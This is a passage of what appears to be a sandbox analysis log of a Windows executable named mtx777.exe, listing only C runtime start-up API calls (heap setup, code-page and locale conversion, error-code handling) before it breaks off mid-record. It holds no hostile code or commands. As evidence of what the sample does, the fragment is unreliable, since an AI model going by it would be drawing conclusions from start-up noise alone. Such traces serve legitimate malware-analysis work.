# Flog Txt Version 1 # Analyzer Version: 3.1.2 # Analyzer Build Date: Oct 28 2019 11:51:53 # Log Creation Date: 03.01.2020 17:16:13.328 Process: id = "1" image_name = "mtx777.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtx777.exe" page_root = "0x4f9c2000" os_pid = "0x924" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtx777.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x928 [0024.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x4afcc8 | out: lpSystemTimeAsFileTime=0x4afcc8*(dwLowDateTime=0x8cd058c0, dwHighDateTime=0x1d5c259)) [0024.406] GetCurrentProcessId () returned 0x924 [0024.406] GetCurrentThreadId () returned 0x928 [0024.406] GetTickCount () returned 0x114190d [0024.406] QueryPerformanceCounter (in: lpPerformanceCount=0x4afcc0 | out: lpPerformanceCount=0x4afcc0*=14465549536) returned 1 [0024.439] GetStartupInfoW (in: lpStartupInfo=0x4afc6c | out: lpStartupInfo=0x4afc6c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtx777.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x4afcd0, hStdError=0xfb98e)) [0024.439] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0024.439] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1f40000 [0024.440] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0024.440] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0024.440] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0024.440] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0024.440] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0024.441] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x214) returned 0x1f407d0 [0024.441] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0024.441] GetCurrentThreadId () returned 0x928 [0024.441] GetStartupInfoW (in: lpStartupInfo=0x4afc08 | out: lpStartupInfo=0x4afc08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtx777.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf6bff, hStdOutput=0xf6f38, hStdError=0x1f407d0)) [0024.441] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x8, Size=0x800) returned 0x1f409f0 [0024.442] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0024.442] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0024.442] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0024.442] SetHandleCount (uNumber=0x20) returned 0x20 [0024.442] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtx777.exe\" " [0024.442] GetEnvironmentStringsW () returned 0x52da50* [0024.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0024.442] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x565) returned 0x1f411f8 [0024.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1f411f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0024.442] FreeEnvironmentStringsW (penv=0x52da50) returned 1 [0024.442] GetLastError () returned 0x0 [0024.442] SetLastError (dwErrCode=0x0) [0024.442] GetLastError () returned 0x0 [0024.442] SetLastError (dwErrCode=0x0) [0024.442] GetLastError () returned 0x0 [0024.442] SetLastError (dwErrCode=0x0) [0024.442] GetACP () returned 0x4e4 [0024.442] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x220) returned 0x1f41768 [0024.442] GetLastError () returned 0x0 [0024.442] SetLastError (dwErrCode=0x0) [0024.442] IsValidCodePage (CodePage=0x4e4) returned 1 [0024.442] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x4afbd0 | out: lpCPInfo=0x4afbd0) returned 1 [0024.442] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x4af69c | out: lpCPInfo=0x4af69c) returned 1 [0024.442] GetLastError () returned 0x0 [0024.443] SetLastError (dwErrCode=0x0) [0024.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4afab0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0024.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4afab0, cbMultiByte=256, lpWideCharStr=0x4af418, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꧨ?먴\x0fĀ") returned 256 [0024.443] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꧨ?먴\x0fĀ", cchSrc=256, lpCharType=0x4af6b0 | out: lpCharType=0x4af6b0) returned 1 [0024.443] GetLastError () returned 0x0 [0024.443] SetLastError (dwErrCode=0x0) [0024.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4afab0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0024.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4afab0, cbMultiByte=256, lpWideCharStr=0x4af3e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ吓\x0fĀ") returned 256 [0024.443] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ吓\x0fĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0024.443] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ吓\x0fĀ", cchSrc=256, lpDestStr=0x4af1d8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0024.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x4af9b0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿϼmÒèûJ", lpUsedDefaultChar=0x0) returned 256 [0024.443] GetLastError () returned 0x0 [0024.443] SetLastError (dwErrCode=0x0) [0024.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4afab0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0024.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4afab0, cbMultiByte=256, lpWideCharStr=0x4af408, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ吓\x0fĀ") returned 256 [0024.443] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ吓\x0fĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0024.443] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ吓\x0fĀ", cchSrc=256, lpDestStr=0x4af1f8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0024.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x4af8b0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿϼmÒèûJ", lpUsedDefaultChar=0x0) returned 256 [0024.443] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x11bd48, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtx777.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtx777.exe")) returned 0x30 [0024.443] GetLastError () returned 0x0 [0024.443] SetLastError (dwErrCode=0x0) [0024.443] GetLastError () returned 0x0 [0024.443] SetLastError (dwErrCode=0x0) [0024.443] GetLastError () returned 0x0 [0024.444] SetLastError (dwErrCode=0x0) [0024.444] GetLastError () returned 0x0 [0024.444] SetLastError (dwErrCode=0x0) [0024.444] GetLastError () returned 0x0 [0024.444] SetLastError (dwErrCode=0x0) [0024.444] GetLastError () returned 0x0 [0024.444] SetLastError (dwErrCode=0x0) [0024.444] GetLastError () returned 0x0 [0024.444] SetLastError (dwErrCode=0x0) [0024.444] GetLastError () returned 0x0 [0024.444] SetLastError (dwErrCode=0x0) [0024.444] GetLastError () returned 0x0 [0024.444] SetLastError (dwErrCode=0x0) [0024.444] GetLastError () returned 0x0 [0024.444] SetLastError (dwErrCode=0x0) [0024.444] GetLastError () returned 0x0 [0024.444] SetLastError (dwErrCode=0x0) [0024.444] GetLastError () returned 0x0 [0024.444] SetLastError (dwErrCode=0x0) [0024.444] GetLastError () returned 0x0 [0024.444] SetLastError (dwErrCode=0x0) [0024.444] GetLastError () returned 0x0 [0024.444] SetLastError (dwErrCode=0x0) [0024.444] GetLastError () returned 0x0 [0024.444] SetLastError (dwErrCode=0x0) [0024.444] GetLastError () returned 0x0 [0024.445] SetLastError (dwErrCode=0x0) [0024.445] GetLastError () returned 0x0 [0024.445] SetLastError (dwErrCode=0x0) [0024.445] GetLastError () returned 0x0 [0024.445] SetLastError (dwErrCode=0x0) [0024.445] GetLastError () returned 0x0 [0024.445] SetLastError (dwErrCode=0x0) [0024.445] GetLastError () returned 0x0 [0024.445] SetLastError (dwErrCode=0x0) [0024.445] GetLastError () returned 0x0 [0024.445] SetLastError (dwErrCode=0x0) [0024.445] GetLastError () returned 0x0 [0024.445] SetLastError (dwErrCode=0x0) [0024.445] GetLastError () returned 0x0 [0024.445] SetLastError (dwErrCode=0x0) [0024.445] GetLastError () returned 0x0 [0024.445] SetLastError (dwErrCode=0x0) [0024.445] GetLastError () returned 0x0 [0024.445] SetLastError (dwErrCode=0x0) [0024.445] GetLastError () returned 0x0 [0024.445] SetLastError (dwErrCode=0x0) [0024.445] GetLastError () returned 0x0 [0024.445] SetLastError (dwErrCode=0x0) [0024.445] GetLastError () returned 0x0 [0024.446] SetLastError (dwErrCode=0x0) [0024.446] GetLastError () returned 0x0 [0024.446] SetLastError (dwErrCode=0x0) [0024.446] GetLastError () returned 0x0 [0024.446] SetLastError (dwErrCode=0x0) [0024.446] GetLastError () returned 0x0 [0024.446] SetLastError (dwErrCode=0x0) [0024.446] GetLastError () returned 0x0 [0024.446] SetLastError (dwErrCode=0x0) [0024.446] GetLastError () returned 0x0 [0024.446] SetLastError (dwErrCode=0x0) [0024.446] GetLastError () returned 0x0 [0024.446] SetLastError (dwErrCode=0x0) [0024.446] GetLastError () returned 0x0 [0024.446] SetLastError (dwErrCode=0x0) [0024.446] GetLastError () returned 0x0 [0024.446] SetLastError (dwErrCode=0x0) [0024.446] GetLastError () returned 0x0 [0024.446] SetLastError (dwErrCode=0x0) [0024.446] GetLastError () returned 0x0 [0024.446] SetLastError (dwErrCode=0x0) [0024.446] GetLastError () returned 0x0 [0024.446] SetLastError (dwErrCode=0x0) [0024.446] GetLastError () returned 0x0 [0024.446] SetLastError (dwErrCode=0x0) [0024.446] GetLastError () returned 0x0 [0024.447] SetLastError (dwErrCode=0x0) [0024.447] GetLastError () returned 0x0 [0024.447] SetLastError (dwErrCode=0x0) [0024.447] GetLastError () returned 0x0 [0024.447] SetLastError (dwErrCode=0x0) [0024.447] GetLastError () returned 0x0 [0024.447] SetLastError (dwErrCode=0x0) [0024.447] GetLastError () returned 0x0 [0024.447] SetLastError (dwErrCode=0x0) [0024.447] GetLastError () returned 0x0 [0024.447] SetLastError (dwErrCode=0x0) [0024.447] GetLastError () returned 0x0 [0024.447] SetLastError (dwErrCode=0x0) [0024.447] GetLastError () returned 0x0 [0024.447] SetLastError (dwErrCode=0x0) [0024.447] GetLastError () returned 0x0 [0024.447] SetLastError (dwErrCode=0x0) [0024.447] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x39) returned 0x1f41990 [0024.447] GetLastError () returned 0x0 [0024.447] SetLastError (dwErrCode=0x0) [0024.447] GetLastError () returned 0x0 [0024.447] SetLastError (dwErrCode=0x0) [0024.447] GetLastError () returned 0x0 [0024.447] SetLastError (dwErrCode=0x0) [0024.447] GetLastError () returned 0x0 [0024.448] SetLastError (dwErrCode=0x0) [0024.448] GetLastError () returned 0x0 [0024.448] SetLastError (dwErrCode=0x0) [0024.448] GetLastError () returned 0x0 [0024.448] SetLastError (dwErrCode=0x0) [0024.448] GetLastError () returned 0x0 [0024.448] SetLastError (dwErrCode=0x0) [0024.448] GetLastError () returned 0x0 [0024.448] SetLastError (dwErrCode=0x0) [0024.448] GetLastError () returned 0x0 [0024.448] SetLastError (dwErrCode=0x0) [0024.448] GetLastError () returned 0x0 [0024.448] SetLastError (dwErrCode=0x0) [0024.448] GetLastError () returned 0x0 [0024.448] SetLastError (dwErrCode=0x0) [0024.448] GetLastError () returned 0x0 [0024.448] SetLastError (dwErrCode=0x0) [0024.448] GetLastError () returned 0x0 [0024.448] SetLastError (dwErrCode=0x0) [0024.448] GetLastError () returned 0x0 [0024.448] SetLastError (dwErrCode=0x0) [0024.448] GetLastError () returned 0x0 [0024.448] SetLastError (dwErrCode=0x0) [0024.448] GetLastError () returned 0x0 [0024.448] SetLastError (dwErrCode=0x0) [0024.448] GetLastError () returned 0x0 [0024.449] SetLastError (dwErrCode=0x0) [0024.449] GetLastError () returned 0x0 [0024.449] SetLastError (dwErrCode=0x0) [0024.449] GetLastError () returned 0x0 [0024.449] SetLastError (dwErrCode=0x0) [0024.449] GetLastError () returned 0x0 [0024.449] SetLastError (dwErrCode=0x0) [0024.449] GetLastError () returned 0x0 [0024.449] SetLastError (dwErrCode=0x0) [0024.449] GetLastError () returned 0x0 [0024.449] SetLastError (dwErrCode=0x0) [0024.449] GetLastError () returned 0x0 [0024.449] SetLastError (dwErrCode=0x0) [0024.449] GetLastError () returned 0x0 [0024.449] SetLastError (dwErrCode=0x0) [0024.449] GetLastError () returned 0x0 [0024.449] SetLastError (dwErrCode=0x0) [0024.449] GetLastError () returned 0x0 [0024.449] 